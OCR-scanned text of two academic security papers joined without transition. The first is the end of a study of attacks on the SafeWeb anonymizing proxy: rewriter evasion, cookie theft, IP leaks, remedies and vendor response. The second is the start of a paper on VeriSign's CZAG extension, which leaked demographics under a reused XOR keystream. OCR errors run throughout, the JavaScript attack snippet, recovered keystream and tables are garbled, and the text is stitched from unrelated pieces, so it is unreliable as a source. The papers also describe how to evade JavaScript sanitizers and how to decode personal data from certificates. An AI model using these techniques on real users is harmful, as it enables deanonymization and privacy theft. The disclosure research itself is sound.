problem: the right fix and the wrong fix. The 
right fix is to permit only data that is known to 
give no problems: letters, digits, dots, and a few 
other symbols... 


"Unfortunately, many people choose the wrong 
fix: they allow everything except the values that 
are known to give trouble. This approach is an 
invitation to disaster." 
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If SafeWeb had tackled the problem using this allow- 
safe approach rather than the disallow- unsafe 
approach, we believe it would have quickly become 
clear that the toggle between recommended and 
paranoid modes didn’t actually correspond to a choice 
between faithfulness and anonymity. While selecting 
paranoid mode does reduce faithfulness, it fails to 
improve anonymity. There’s no reason to use it. 


To get an idea of the kind of problem SafeWeb is up 
against 1n sanitizing JavaScript, consider the following 
snippet: 


self ( document’ | [>write] (*s=seript> 
ateacking code=/6eri pts"): 


Keep in mind that while this example uses string 
literals such as “document” and “write”, an attack 
could instead compute those strings at run time. To 
prevent the attacking code from reaching the browser, 
SafeWeb would either need to forbid access to the self 
object, forbid array dereferencing, forbid function 
calls, or disable the document.write method at run time 
(e.g., document.write= function() {} ). The latter 
seems like the most promising approach. But 
JavaScript is lexically scoped; changing one entry 
point to a method is not the same as making its 
previous meaning totally inaccessible to the running 
program. Our getCookieData attack in Section 5.1.2 
illustrates this. 


5.5. Other direct identification attacks 


Rubin [38] and Yezhov [64] first wrote about related 
problems with SafeWeb. Uhley describes several 
attacks as well [58], including problems with event 
handlers, VBScript, and commandeering SafeWeb 
internal functions. We estimate that 15-25 distinct 
attacks are known to outsiders by now. Since we and 
other adversarial investigators tend to declare victory 
and move on after succeeding in a few different ways, 
these numbers may underestimate the vulnerabilities in 
SafeWeb’s rewriting engine. 


5.6. The tightrope balance threat 


Configuring an HTTP proxy creates a sort of attraction 
between HTTP transactions and the proxy server, 
wherein all of the components work together to make 
sure that all transactions involve the proxy. SafeWeb 
has no such drawing power and might even be 
considered more of a tightrope than a web. A user ts 
“within” SafeWeb only as long as all of the links 
presented have been rewritten to refer to SafeWeb; if a 
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user clicks on any that arrive unsanitized, then the 
SafeWeb protection silently slips away. 


For example, a computer with Adobe Acrobat installed 
will generally display PDF files directly within Internet 
Explorer. But SafeWeb doesn’t sanitize PDF files. So 
when a user clicks on a URL displayed within a PDF 
file, Acrobat will directly contact the named _ host, 
violating anonymity. Microsoft Office documents can 
leak information in the same way. The result is a Web 
browser that looks like SafeWeb, with the logo and 
standard buttons intact, but that completely bypasses 
the SateWeb system: it’s reassurance without 
assurance. 


5.7. The rewriter evasion threat 


Our attacks cause malicious code to reach the browser 
even atter it is processed by SafeWeb’s JavaScript 
rewriting engine. But the problem of accurately 
identifying JavaScript content within HTML is known 
to be hard for a third party observer [20,26,29,49,64]. 
To recognize JavaScript content, the SafeWeb servers 
have to parse all of the pages requested by their users 
in exactly the same way that the user’s Web browsers 
will later parse the content. This is difficult not only 
because of natural differences between browser 
implementations, but also because Web browsers are 
designed to display all manners of  standards- 
noncompliant content. Each discrepancy between a 
Web browser’s understanding of a page and SafeWeb’s 
prediction of the browser’s understanding of the page 
can lead to content evading the rewriter altogether. 
SafeWeb could have attempted to block all third party 
JavaScript content and their users would srill have been 
at risk to attacks contained within such evasions, as 
long as JavaScript was enabled at the browser level. 


5.8. The local identification threat 


Our attacks ask the victim’s computer to identify itself 
by contacting the attacker directly, but this isn’t the 
Only possible approach for obtaining the victim 
computer’s IP address. For example, some versions of 
Netscape expose tt to JavaScript through 
java.net.InetAddress.getLocalHost().getHlostAddress(); 
SateWeb doesn’t interfere at all. This and other known 
methods of grabbing the IP address have been patched 
in later browsers [26,27,51,53]. Scriptable ActiveX 
objects might also reveal this information in Internet 
Explorer. But whatever the secret is, once the 
attacker’s script has possession of it, the game is over. 
Covert channel minimization techniques are not very 


useful here, because they require the censor to 
carefully manage information representation, and such 
techniques would sharply collide with SafeWeb's 
usability and faithfulness requirements. After all, 
SafeWeb’s job is to quickly relay Web material 
between arbitrary third parties. The attacker can just 
stuff the secret into a URL; SafeWeb will happily wrap 
a request to safeweb.com around it, and then relay that 
URL back to the attacker’s Web server. 


5.9. A fingerprinting attack 


Using file size and timing signatures, Hintz [22] shows 
how an observer of an encrypted SafeWeb session can 
probably confirm a_ suspicion about the page a 
Safe Web user is visiting. 


6. Possible remedies 


We have seen SafeWeb’s requirements colliding in a 
way that breaks both faithfulness and anonymity. This 
isn’t the only possible outcome, however. 


6.1. Sacrifice anonymity 


All of the attacks described in this paper would be 
irrelevant if SateWeb had simply disavowed its claim 
to anonymity. The system would probably still have 
attracted and served users with its censorship 
avoidance properties. After all, anyone can tell 
whether thar is working: either the content appears or it 
doesn't. It would be important, however, to warn users 
that there 1s a risk that they might be identifted while 
using the system. 


An alternative is to clarify to users that the SafeWeb 
system can only protect their identity from strictly 
passive eavesdroppers (who don’t use __ the 
fingerprinting attack of Section 5.9), and that the cost 
of this protection ts a sharply pronounced exposure to 
those adversaries willing to lie in wait. 


6.2. Sacrifice faithfulness 


Another option is to support censorship avoidance and 
anonymity by sacrificing more faithfulness, L.e., 
making the system usable even when JavaScript and 
cookies are disabled at the browser level. After an 
early version of this paper appeared, SafeWeb tweaked 
its system to do precisely this — previously, the system 
did not work at all if JavaScript was disabled. A 
weaker sacrifice would be to simply remove all 
JavaScript encountered in paranoid mode, without 
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requiring JavaScript to be disabled in the browser. But 
usability would also be affected, and the tightrope 


balance and rewriter evasion threats of Sections 5.6. 


and 5.7 would remain. 


6.3. Sacrifice usability 


Although it may be a bit far-fetched, SafeWeb could 
embed a JavaScript parser of its own design within 
each Web page. This parser would itself be written in 
JavaScript or some other widely available scripting 
language (so as to satisfy no-mods). SafeWeb would 
then arrange to deliver each untrusted JavaScript 
program as text input to the parser. At run-time, the 
parser would interpret its input program but refuse to 
do perform any operation that is 1mmeditately unsafe 
(such as initiating a Web transaction to the “wrong” 
host, or eval()ing a string outside of the parser context). 
This approach doesn’t deal with the tightrope balance 
and rewriter evasion threats of Sections 5.6 and 5.7, 
and is likely to be slow, heavyweight, and hard to 
perfect, but it would be a conceptually lovely thought 
experiment in a computability theory or compilers 
class. 


6.3.1. Encrypt the master cookie 


If SafeWeb arranged to encrypt the master cookie 
under a key known only to the SafeWeb server 
whenever transmitting it to a browser, then attacks 
against the master cookie would be much less 
rewarding. Some extra server roundtrips would be 
required to manipulate the cookie, however, and this 
might affect usability. Anonymizer.com uses an 
encrypted master cookie approach [2]. 


6.4. Sacrifice no-mods 


Relaxing the no-mods requirement makes it much 
easier to satisfy the others. A component installed at 
the right network layer could” ensure _ that 
communications are restricted to the SafeWeb server, 
thus preventing our attacks from spilling the 
computer’s IP address. Simply using the standard 
HTTP proxy mechanism would be a very good start. 
The top frame JavaScript infrastructure would still be 
vulnerable to spyware infiltration, but without the 
ability to spill the IP address directly to an attacker’s 
computer, the spyware might be unable _ to 
communicate who had been infiltrated. However, the 
local identity acquisition threat of Section 5.8 would 
remain. 
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Client-side JavaScript’s access to network, cookie, and 
frame functionality are generally concentrated in 
externally hosted facilities, such as the Window and 
Document object implementations made available by a 
Web browser. Therefore, a sandbox constructed 
around JavaScript (and other scripting languages, such 
as VBScript) may be able to restrict scripts from 
mounting our attacks. But the result would be less 
effective than a network component solution, since the 
tightrope balance threat of Section 5.6 would remain. 


7. Related work 


Like SafeWeb, the Anonymizer [2] and SiegeSurfer 
[48] services also use a monolithic rewriting engine to 
provide some Web user anonymity. Onion Routing 
[54], Crowds [37], Freedom.net [4], WebMIXes [3], 
and Tarzan [16] use considerably more sophisticated 
techniques to provide stronger anonymity against 
determined, distributed, and cooperating adversaries. 


Systems specifically designed for censorship resistance 
include Publius [62], Tangler [61], Freenet [8], Free 
Haven [10], and Infranet [12]; of these, Infranet 
probably has the strongest focus on user surveillance 
resistance. Popular peer to peer file sharing systems 
such as Gnutella, Morpheus, and Kazaa are difficult for 
censors to shut down, but their design emphasis has 
more to do with the “freedom to share” than 
censorship. 


None of these systems sanitize JavaScript by rewriting 
it (although Anonymizer seems to be considering that 
approach); they either somehow remove the JavaScript 
they see or direct users to disable JavaScript at the 
browser level when applicable. Many of these 
systems do not protect against attackers who use a Web 
cache timing approach to recognize users [14]. 


Java applets run in a highly studied sandbox 
environment [18] that probably has applications to 
JavaScript as well. A recent bibliography of code 
containment papers 1s available in [1]. 


8. Discussion 


Although SateWeb and PrivaSec also _ attracted 
corporate employees trying to avoid goof-off filters 
such as Websense and SurfControl [46], the class of 
users most threatened by the SateWeb weaknesses are 
citizens of countries with censorship policies that are 
realized in part through national content blocking 
firewalls. This 1s because the stakes are so high for 
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these users, and because their governments have 
already proven their interest in scrutinizing network 
connections. A government that wished to identify tts 
SafeWeb users and their master cookies could just 
periodically intercept HTTP connections crossing their 
firewall and respond with an HTTP redirect, via 
SaleWeb, to their own server containing code thal 
grabs master cookies. Another approach would be to 
use cross-site scripting weaknesses in Web bulletin 
board systems to deposit exploit code on sites likely to 
be visited by misbehaving users. Easier still, they 
could simply buy advertising space for their exploit 
code. 


Ironically, SafeWeb helps the censors by narrowing 
their search to those users who clearly know they are 
doing something evasive when they contact SafeWeb 
[9,47]. A firewall operator can generate a list of 
SafeWeb users by looking for connections to the main 
SafeWeb site or by looking for the (always 
unencrypted) SafeWeb certificate in SSL sessions. Our 
attacks are not required for this; they really target 
SafeWeb’s anonymity, not its censorship avoidance. 
However, we again observe that a government with the 
power to block Web sites at a national firewall may 
also be willing to punish those who try to circumvent 
the firewall. 


SafeWeb has readily acknowledged that foreign 
censors could easily identify those in their population 
who use SafeWeb, saying that using such evidence 
against users would be “draconian” [25]. But by 
obtaining SafeWeb master cookies or _ session 
transcripts with our attacks, the censors have increased 
leverage: they learn not only who uses SateWeb, but 
they also learn which sites the users wanted to secretly 
visit. Inspecting the cookie values might reveal 
identification numbers possibly keyed to memberships, 
subscriptions, commercial transactions, or even 
authentication codes [17]. While using this type of 
evidence against users may also count as draconian, It 
is potentially much better evidence. 


SafeWeb has basically taunted the governments of 
China, Saudi Arabia, Bahrain, and United Arab 
Emirates with this technology in a strange kind of BB- 
gun diplomacy effort [21,39]. The stakes are real for 
users in these countries, yet we don’t see any evidence 
that they understood the limits of the SafeWeb system. 
We don’t even know whether anyone has_ ever 
attempted to identify SafeWeb users outside of a 
laboratory, but it’s certainly possible. There is no 
visible indication to the user when the attacks are 


attempted, and since the attacks do not target the 
SafeWeb server computers themselves, there is little 
reason that SafeWeb would have detected them either. 
An attacker would presumably want to leave the 
vulnerabilities intact 1n order to use them again later. 


8.1. Web servers attacking their own users 


Attacks such as these could be a very useful aid to 
Investigators. For example, the FBI] could insert 
exploit code onto its “Amerithrax” Web page [11] in 
order to track down visitors who attempt to use 
SafeWeb to anonymously read about its investigation 
into the U.S. anthrax attacks of October 2001. (The 
FBI’s DCS-1000 Carnivore system would not help 
with this: it 1s only useful when placed near the 
investigation target, which we assume ts still unknown. 
Besides, Carnivore can’t decrypt the SSL connection 
between the suspect and SafeWeb [23].) 


8.2. Passive attack resistance 


Some of SafeWeb’s users simply do not want their 
identity recorded in log files to be mined later and are 
not concerned that someone will actively try to identify 
them. SafeWeb does help keep IP addresses out of 
routinely maintained Web server log files. Although 
our attack samples are short, they seem unlikely to 
arise without malicious intent. 


IHlowever, we are left wondering about a November 
2001 Usenet article [56], in which a SafeWeb user 
wrote: 





I am trying out Safeweb which is a proxy server 
that uses SSL between my computer and 
safeweb.com. For a lot of typical sites like 
yahoo.com and msnbc.com I get the prompt 
"This page contains both secure and nonsecure 
items. Do you want to display the nonsecure 
items?" Why would I be getting nonsecure 
items if everything ts going through a SSL prox)’ 
server? 


We see two possibilities. The first is that some content 
evaded the rewriting engine unsanitized. Internet 
Explorer saw that this non-SSL content (referred to by 
the original, bare URL) appeared within SSL content 
delivered from safeweb.com, and so it raised the 
dialog. This 1s unlikely to be a malicious attack, since 
a clever attacker would have avoided the dialog simply 
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by making sure that any URLs used in the attack also 
used SSL. 


The second possibility is that the user simply witnessed 
bugs in Internet Explorer prior to version 6.0 that can 
spuriously cause the warning dialog box to appear [30]. 


9. Vendor response 


We notified SafeWeb of our first discoveries in 
October 2001. At that time, they acknowledged 
vulnerabilities along the lines of our observations and 
indicated they would investigate. We also submitted a 
draft version of this paper to both SafeWeb and 
PrivaSec in January 2002. In response, SafeWeb 
explained that their consumer service is no longer in 
operation, and that they would try to address these 
vulnerabilities if they reestablish their service. They 
wrote that during the past year they have been 
concentrating on the enterprise security market, in 
which these vulnerabilities are unlikely to play any 
role. They also noted that they have no evidence that 
any widespread attacks have taken place. After a 
version of this paper appeared in February 2002, 
SafeWeb delivered modified code to PrivaSec that 
allowed its service to work even tf JavaScript 1s 
disabled at the browser level (cf. Section 6.2). 


PrivaSec stated that they are reviewing their options 
before launching a subscription service based on the 
SafeWeb technology. PrivaSec’s service deletes the 
master cookie at the end of each browser session by 
default, so the master cookie ts not quite as valuable to 
an attacker when it is first obtained. llowever, as 
described in Section 5.1.1, this setting can be changed 
by an attacker (unless cookies are disabled at the 
browser level). At the time of writing, all of our 
attacks still work within’ PrivaSec’s technology 
preview. 


10. Conclusion 


Privacy and anonymity tools face the surreal task of 
removing data intrinsic to an environment in the hope 
that this will measurably decrease real (and 1magined) 
user risks. When such an intangible service is offered, 
it should be no surprise to see users flocking to the 
friendliest solution that claims to work. 


Still, we were surprised to find that a high-profile 
external review team did not object to weaknesses such 
as those described in this paper, according to 
ComputerWorld magazine [60]: 
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Jon Chun, president and co-founder of 
SafeWeb, said his company's relationship with 
In-Q-Tel has been critical to its technology 
development. 


"It has put SafeWeb and our technologies 
through the rigors of the CIA's stringent review 
process. Which far exceeds those of the ordinary 
enterprise client," said Chun. "This is a very 
significant seal of approval." 


Adding in privacy and security features can put the 
user at greater risk of privacy and security problems if 
an attacker can co-opt enough of the infrastructure. 
We have seen how attackers can easily evade 
SafeWeb’s sanitization effort and gain unrestricted 
access to the JavaScript interpreter. Once there, they 
can exploit SafeWeb’s rejection of the “same origin” 
rule for JavaScript frames and its master cookie design 
to obtain the victim computer’s IP address and cookies, 
and even deposit spyware for the remainder of the 
SafeWeb session. SafeWeb’s design undermined not 
only the privacy properties offered by SafeWeb, but 
also the standard privacy features of Web browsers. 


SafeWeb’s failure to sanitize simple equivalents for 
dangerous constructs typifies the perils of ad hoc 
security programming. Security systems ought to be 
designed to allow only what 1s believed to be safe, 
rather than preventing that which is known to be 
unsafe. 


Finally, centralizing what was previously separate is 
not an ideal way to provide privacy. Whereas the 
Internet was designed in part on the principle of “don’t 
put all your eggs in one basket” (e.g., stateless routers), 
SafeWeb appears to be based on the Pudd’nhead 
Wilson design principle: “put all your eggs in one 
basket — and watch that basket!” [57]. In the SafeWeb 
scheme, all cookies previously the separate property of 
a.com, b.com, c.com, etc., now all belong to 
safeweb.com — thus allowing what would otherwise be 
cross-domain cookie scarfing. Similarly, what would 
otherwise be cross-domain frame attacks are allowed 
because everything is happening under SafeWeb’s 
auspices. And instead of a user scattering evidence of 
their Web site visits across a myriad of Web site logs, 
they are now conveniently stockpiled at a _ single 
location, safeweb.com (albeit deleted after seven days). 
Some other anonymizing services share this same “all 
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your base are belong to us” characteristic, but the other 
anonymizers decided to forgo JavaScript. By providing 
both a centralized egg basket and a Turing-complete 
language with which to access it, SafeWeb can turn its 
users into sitting ducks. 
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Abstract 


We first analyze a concrete example of embedding sensi- 
tive information in X.509 certificates: VeriSign’s CZAG 
extension. Sccond, we consider the general case of 
a sharing certified information with a mutable subset 
of relying parties. The example nicely illustrates sev- 
eral well-known technical, social, and economic issues 
through the effective publication of users’ country, zip 
code, date of birth, and gender in as many as three mil- 
lion certificates over a five ycar period ending in 2002. 
The general case continues to arise in many new PKI 
deployments, where system designers are pressured to 
include potentially sensitive information in end entity 
certificates. Ultimately, failure to carefully consider the 
risks when developing a certificate profile may allow 
sensitive information to leak outside the intended scope. 


1 Introduction 


In recent years, Ellison [7, 9], Brands [3], and other au- 
thors have warned against embedding personal and au- 
thorization data in identity certificates, noting the dif- 
ficultly of controlling disclosure of such data. Despite 
such warnings, many system designers have been lured 
by the convenience of including a wide range of subject 
attributes, primarily through the extension mechanism 
available in X.509v3. 


Some of this information is quite sensitive and should 
not be disclosed except to a few trusted parties, while 
much ts as public as the subject’s distinguished name. In 
many cases, however, the information falls somewhere 
in between —— it may be public or widespread knowl- 
edge, yet binding it inside the certificate risks building a 
convenient dossier that the user presents to anyone who 
requests It. 


*Worked performed at Securify. Inc 


In 1997, VeriSign introduced such a feature in their 
Class | certificates. These certificates are intended to 
bind a user-generated public key to an e-mail address 
for use with S/MIME or SSL. This feature, informally 
called CZAG (Country, Zip, Age, Gender), included 
subscriber—entered demographic information, when sub- 
mitted at registration time. While users may opt out dur- 
ing registration, most subscribers supplied their personal 
data. On registration forms and documentation, , this 
feature was called the One-Step Registration field, since 
it promised to enable registration at participating web 
sites In one easy step. 


When provided, the CZAG information was stored en- 
crypted in the subscriber’s certificate and could be read 
by participating web sites using software available from 
VeriSign fora licensing fee. Unfortunately, this software 
was not necessary to read the data and anyone could read 
the certificates from VeriSign’s public LDAP server. 


Several factors lead users — even industry insiders who 
failed to opt—out --— to believe their information was rea- 
sonably protected. First, the data was encrypted and 
couldn't be seen by visual inspection. Second, press re- 
leases and the registration web site explained that the 
demographics would only be made available to trusted 
sites who have signed a strict license agreement, and 
that misuse of the data would cause revocation. On the 
other hand, VeriSign never explicitly claimed to protect 
or “encrypt” the data, and their privacy statement explic- 
itly states that users should have no expectation of pri- 
vacy regarding any data included in certificates. 


Regardless of the disclaimers, it is unlikely that most 
subscribers recognized that their personal demographic 
information was so significantly exposed. Since 
VeriSign publishes all Class | certificates in their public 
directory server and the information was only protected 
by trivially weak encryption, subscriber personal demo- 
graphic information was effectively published for all to 
read. 


In the first half of this paper, we examine VeriSign’s 
CZAG extension in greater detail, providing some his- 
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tory, details on the data encoding and encryption (simply 
XOR’d with a constant), and a demographic summary of 
more than 16,000 certificates. This example nicely illus- 
trates some of the technical, social, and economic issues 
that interact in real-world situations. 


In the second half, we describe the more general prob- 
lem of a Certification Authority sharing sensitive data 
with a changing subset of relying parties, including 
the constraints imposed by the nature of X.509 public 
key infrastructures. We highlight alternate design ap- 
proaches that may lead to better solutions than those 
used in the example. This general case continues to arise 
in new PK] deployments, as system designers are asked 
to include potentially sensitive data in certificates. 


2 VeriSign’s CZAG Extension 


VeriSign’s CZAG extension illustrates several well- 
known technical, social, and economic issues, which we 
discuss further below. First, the system used unexpect- 
edly weak encryption and had no revocation mechanism. 
Second, there was a clear discrepancy between users’ 
expectations and the actual protection promised and de- 
livered. Finally, there was no economic motivation to 
correct the known weaknesses — despite affecting mil- 
lions of users over several years, the lack of licensees 
meant that nobody was paying for the privilege of ac- 
cessing the infonnation. 


2.1 History 


In 1997, VeriSign announced an optional One-Step Reg- 
istration feature that included a user’s country, zip code, 
date of birth, and gender in Class | certificates when 
the users do not opt-out[16]. Although subscriber’s 
are clearly advised that the information is optional, in- 
clusion is the default and most subscribers provide the 
information (see § 5). As part of the announcement, 
VeriSign described the availability of an implementa- 
tion kit available for an annual licensing fee. This kit 
includes a registration license key to read the One-Step 
Registration field[ 16]. 


To subscribers, the One-Step Registration field was mar- 
keted as a way to ease web site registration, promis- 
ing to bring personalized content and eliminate repeti- 
tive data entry. To web sites, however, the feature was 
always marketed as a way to anonymously track the de- 
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mographic make-up of people visiting their sites[ 17]. In 
practice, many users entered their actual demographics 
and real names, leaving little anonymity. ! 


The addition of this information to VeriSign certificates 
generated some discussion within the PKI community 
and further fueled the debate on appropriate uses of 
X.509v3 certificates —- especially the privacy issues 1n- 
volved in binding a public key and other attributes to the 
X.500 concept of a unique identity[ 12]. 


2.2 Technical 


Unfortunately, the VeriSign CZAG feature suffered from 
at least two weaknesses that we discuss further below. 
The demographics were only weakly masked and there 
was no technical mechanism to revoke sites whose con- 
tract lapsed or was tenninated for misuse. 


2.2.1. Trivially Weak Encryption 


The encrypted demographic information included in 
VeriSign Class 1 certificates was encoded into a pri- 
vate X.509v3 extension. When generating the certifi- 
cates, the demographic information was first written into 
fixed-length fields within a larger data structure. This 
data structure was then encrypted, base—16 encoded (1.e. 
a hex string), DER? encoded as an IA5String, and finally 
enclosed within the octet string of a private X.509v3 ex- 
tension. This extension was included tn the user’s cer- 
tificate. 


We next examine how to decode, decrypt, and interpret 
the extension contents. To ensure our description Is ac- 
cessible to most readers, we include details that readers 
familiar with X.509, ASN.1°, and DER will already un- 
derstand and should feel free to skip over. 


The encrypted demographic information in VeriSign 
Class | certificates is conveyed 1n an X.509v3 extension, 
the ASN.1] syntax of which is shown in Figure 1. In 
layman’s terms, this syntax means that the extension 1s 
uniquely identified by the id-verisign-czag ob- 
ject identifier, and the contents included in the exten- 
sion’s payload (which 1s encoded as an octet string) con- 





'We even saw cases where users with pseudonymous e-mail ad- 
dresses, provided a verifiable full name, date of birth, and zip code 
(e.g., hackerdOOd@éexample.com). 

“DER stands for ASN.1 Data Encoding Rules. 

3 ASN.1 stands for Abstract Syntax Notation 
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sist solely of an [ASString, a common ASN.,]1 string 


type. 


id-verisign-czag OBJECT IDENTIFIER ;:= 
VD 6. SA4O Tey 33), 235) 


verisignCZAG EXTENSION ::= { 
SYNTAX VerisignCZAGExtension 
IDENTIFIED BY id-verisign-czag |] 


VerisignCZAGExtension ::= IA5String 


Figure 1: ASN.1 syntax tor the CZAG extension 


According to DER, _ the id-verisign- 
czag object ID ts encoded as the byte stream 
060a6086480186f845010603. One can simply 
check a certificate for presence of this byte stream to 
determine whether it contains the CZAG extension.* 


The 116 hex characters within the [AS5String decode to 
58 bytes of obviously structured ciphertext. Within the 
thousands of certificates we examined, only 19 of the 
58 bytes ever varied; the remaining 39 bytes were con- 
stant. Further, the distribution of the variable bytes of ci- 
phertext was not uniform, but limited to a small range of 
values. These characteristics are not typical of strongly 
encrypted data. 


A chosen plaintext attack — mounted by registering for 
several free e-mail certificates — quickly reveals that 
the data is encrypted with an unknown stream cipher 
using a single fixed key. Given a handful of samples, 
we recovered the portion of keystream corresponding to 
the 19 variable bytes of ciphertext. The effect ts func- 
tionally equivalent to an every-time-pad (i.e., the same 
keystream is used to encrypt the CZAG extension in ev- 
ery VeriSign Class | certificate examined, unlike a one- 
time pad where the keystream is randomly chosen and 
never reused). 


It isn’t clear tf VeriSign simply made implementation 
errors when integrating a relatively trusted stream ci- 
pher (e.g., RC4) or if the original implementation only 
masked via XOR. The presence of additional, constant 
bytes suggests that some portion — perhaps the first 32 
bytes (256 bits) — correspond to either an encrypted, 
per—message key or a key identifier. If this is the case, 
however, the key never changed and the same keystream 
resulted for every certificate. 


The recovered keystream k; shown tn Figure 2 represents 
each fixed byte as 00. The plaintext of the demographic 


4 There is a very small possibility of a false positive if the sequence 
appears in a public key, signature, or another extension’s payload. 


structure can then be easily recovered since p = c@k 
where & represents the byte—wise XOR operation. 


00000000 
00000000 
OOO0O0fbOb 
8b72cd00 


00000000 00000000 
00000000 00000000 
£2c8b226 9d5bcle7 
a700 


k = 00000000 


00000000 
0086a100 
0079ae93 


Figure 2: Recovered keystream 


After decryption, the demographic data can be simply 
decoded into its components. There are four pieces of 
information in the structure: country, zip/postal code, 
date of birth, and gender. The format of the plaintext is 
most easily expressed by the ANSI C stricture shown in 
Figure 3. 


struct demographics { 
char unknownl [33]; 
char country [2i3 
char unknown2 [3]; 
Char zipcode [10]; 
char unknown3; 
char dob [6] ; 
Char unknown4; 
char gender; 
char unknowns; 


3 


Figure 3: ANSI C structure showing layout of field 


Within this stnicture, country is represented as a two— 
byte country code contained in the 34th and 3Sth byte of 
the One-Step Registration field. The country code cor- 
responds to countries according to Table 1. 


Similarly, the zip code ts represented as the ten ASCII 
characters entered by the subsciiber. The contents are 
left-padded with spaces (i.e. when the user enters less 
than ten characters during registration, spaces are in- 
serted from the left until the string totals ten characters). 
The ten characters are located in bytes 39 to 48 of the 
plaintext. 


The date of birth entered by the subscriber is represented 
as six characters trom bytes 50 to 55 of the plaintext. 
The characters are formatted MMDDYY so that February 
01, 1970 appears as 020170. 


Finally, gender is stmply one character — either M for 
Male or F for Female. This character is byte 57 in the 
plaintext. We didn’t find any certificates where this byte 
decoded to some other value of gender. 
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Country 


JP Japan 


MX : Mexico 
NL Netherlands 





Country | 
Australia || 
AT | Austria 

| 





> 


> 


Belgium 


7 
tT) 


w 


R_| Brazil || NO 


Canada || Z 
China | ES 


Denmark || SE 
Fl | Finland || CH 
France || TW 
Germany || GB 
cit [ily ff 






yOQLO 








"T) 
ee 






Table 1: Country codes used in the One-Step Registration field 


2.3 Survey of Demographics 


Using the preceding information, sample certificates 
were retrieved from VeriSign’s public directory server 
at ldap: //directory.verisign.com? and ana- 
lyzed to verify the decryption and decoding algorithms, 
while collecting some broad statistics. 


Of the certificates examined, 77% included the CZAG 
extension. Summarized demographics of those certifi- 
cates are listed in Table 2. These statistics are based 
on anon-random sample of 16,285 certificates after re- 
moving those with either missing data, age less than 10 
years, Or age greater than 80 years. Certificates with 
ages greater than 80 and less than ten nearly always re- 
sulted from intentional or inadvertent data entry errors 
(e.g. listing the current year in the subscriber's date of 
birth). 


We also estimated the total number of certificates issued 
based on numbers VeriSign has made public directly or 
through news reports. Prior to the CZAG extension be- 
ing introduced, VeriSign had issued more than 750,000 
consumer end- entity certificates (excluding SSL server 
certificates) [14]. VeriSign passed the 3 million client 
ceitificate mark sometime between October, 1998 [5] 
and June, 1999 [4], not including OnSite certificates for 
corporate users. This allows us to conservatively esti- 
mate that VeriSign issued more than 5 million client cer- 
tificates during the time that CZAG extensions were be- 
ing embedded. Given the 77% inclusion rate, we deduce 

SA _user’s base-64 encoded certificate can be sim- 
ply retrieved with the command fine: ldapsearch -h 


directory.verisign.com -b "" mail=<email> 
usercertificate;binary 
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that more than 3 million certificates issued between 1997 
and 2002 may have included the CZAG extension. 


2.3.1 Access Revocation 


From the preceding discussion and our examination of 
thousands of certificates over several years, tt ts clear 
that only a single encryption key was used to encrypt this 
data. As a result, VeriSign had no way to revoke access 
to the data by a trusted third party whose agreement had 
either expired or been terminated. 


Although the initial press releases [15] claimed that 
a third party who violated the privacy pledge would 
have their license revoked, there is no obvious techni- 
cal mechanism to enforce this action. The CZAG exten- 
sion was simply to small to contain separately encrypted 
message encryption keys for each trusted third party. As 
a result, VeriSign would have had to revoke access to all 
parties by changing the symmetric encryption key, only 
distributing the new key to those parties that were still 
trusted. 


Finally, such an approach didn’t prevent these now— 
untrusted third parties from accessing the data within 
older certificates, only within the certificates encrypted 
with the new key. Since the certificates are issued with a 
One-year validity period, it may take up to one year for 
these old certificates to fall out of circulation. 
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Category 





4,065 
3,796 
1,569 (10%) 
495__(3%) 
13,864 (85%) 





Age 10-18 
(25%) 
(23%) 


204. (1%) || 1,773 (11%) 
67 (<I%) 5,62. (3%) 
2,421 (15%) || 16,285 (100%) 


















Table 2: Demographic summary of examined certificates 


2.4 Social 


In addition to technical issues, the VeriSign example 1l- 
lustrates acommon social/policy issue: there was a clear 
discrepancy between user expectations based on market- 
ing literature and VeriSign’s actual commitment and 1m- 
plementation. 


Subscribers, including a few industry experts to whom 
we sent birthday greetings during our original research, 
incorrectly believed that their information was only 
available to web sites licensed by VeriSign. Because the 
information was encrypted, it was not visibly exposed 
when inspecting the certificate in a web browser or with 
ASN.1 parsers. 


Additionally, most of the public documentation implies 
limited distribution and availability of the user’s de- 
mographics when provided — even to the technically 
knowledgeable reader. The registration page indicates 
the data is “presented to participating web sites’[19], 
while a press release[16] claims “consumers have com- 
plete control of ... whether or not to present it at sites 
they visit.” Finally, VeriSign’s original announcement 
asserted that participating sites must adhere to a con- 
sumer privacy pledge[1!6] and sites which violate the 
provisions of the pledge will have their reader license 
revoked by VeriSign[} 5]. 


Although much of this documentation implies limited 
distribution and strong protection, VeriSign never ex- 
plicitly asserted such protection. In fact, the word “en- 
cryption”’ was never used in conjunction with the feature 
and their privacy statement points out that “VeriSign’s 
CPS requires VeriSign to publish all subscriber certifi- 
cates within the Public Certification Services. Conse- 
quently, a subscriber should have no expectation of pri- 
vacy regarding the content of his or her Digital {D.’[18] 


This conflict is common among on-line services. They 


have a strong economic motivation to build trust among 
users, yet cannot explicitly misrepresent data handling 
and disclosure procedures. As a result, most public de- 
scriptions euphemistically describe the features positive 
aspects and gloss over anyrisks. Finally, the two types of 
text —- legal and marketing — are typically authored by 
different people with somewhat opposing motivations, 
increasing the confusion. 


This situation has only worsened over the last several 
years aS economic stakes increase and user expertise 
drops. Many hope that the Platform for Privacy Poll- 
cies Project (P3P) will yield a useful and constrained 
language used to communicate these privacy practices to 
users, and allow users to easily program their user agents 
to automatically take action based on a site’s machine— 
readable policies[6]. Ultimately, however, users who 
want to control information on a per—attribute basis may 
find P3P wanting. 


2.55 Economical 


The third interesting characteristic of the VeriSign exam- 
ple has been it’s resistance to change. Although it was 
rolled out more than five years ago with known weak- 
nesses and was never a significant source of revenue, 
VeriSign was been reluctant to remove the feature from 
their registration process. 


When launched in 1997, VeriSign announced that a 
handful of companies had already agreed to license the 
software and use the data in their registration process. 
These companies hoped to get accurate demographics 
from users who were registering for services. There was 
also an expectation that users would be more willing to 
register at new sites since the information required by the 
service provider was transfered automatically. Finally, 
this was a new application for the use of client-side cer- 
tificates. Ideally, the lure of one password and one-step 
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registration would encourage users to pay VeriSign to 
get such a convenience at the same time sites were pay- 
ing for access to the data. 


Unfortunately for VeriSign, and much of the PKI in- 
dustry, the use of client--side SSL certificates never re- 
ally caught on. There were several problems, includ- 
ing software compatibility, mobility, and lack of motiva- 
tton. Since so few sites supported the CZAG extension 
or client authentication SSL, the certificates were rele- 
gated to use in secure e-mail applications, and the initial 
sites dropped support. 


In January 2000, when we first examined the CZAG ex- 
tension, we provided an early predecessor of this paper 
to VeriSign, and later other members of the information 
security community. In response, VeriSign said that the 
problems were old news, the extension had been long 
forgotten by sites, and concerned users could always 
opt-out. Although true, thousands of users registering 
